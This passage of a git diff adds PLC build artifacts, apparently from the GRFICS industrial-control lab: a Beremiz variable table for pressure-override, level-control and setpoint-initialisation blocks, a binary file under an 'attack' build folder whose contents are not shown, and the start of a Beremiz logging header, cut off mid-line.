+310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, 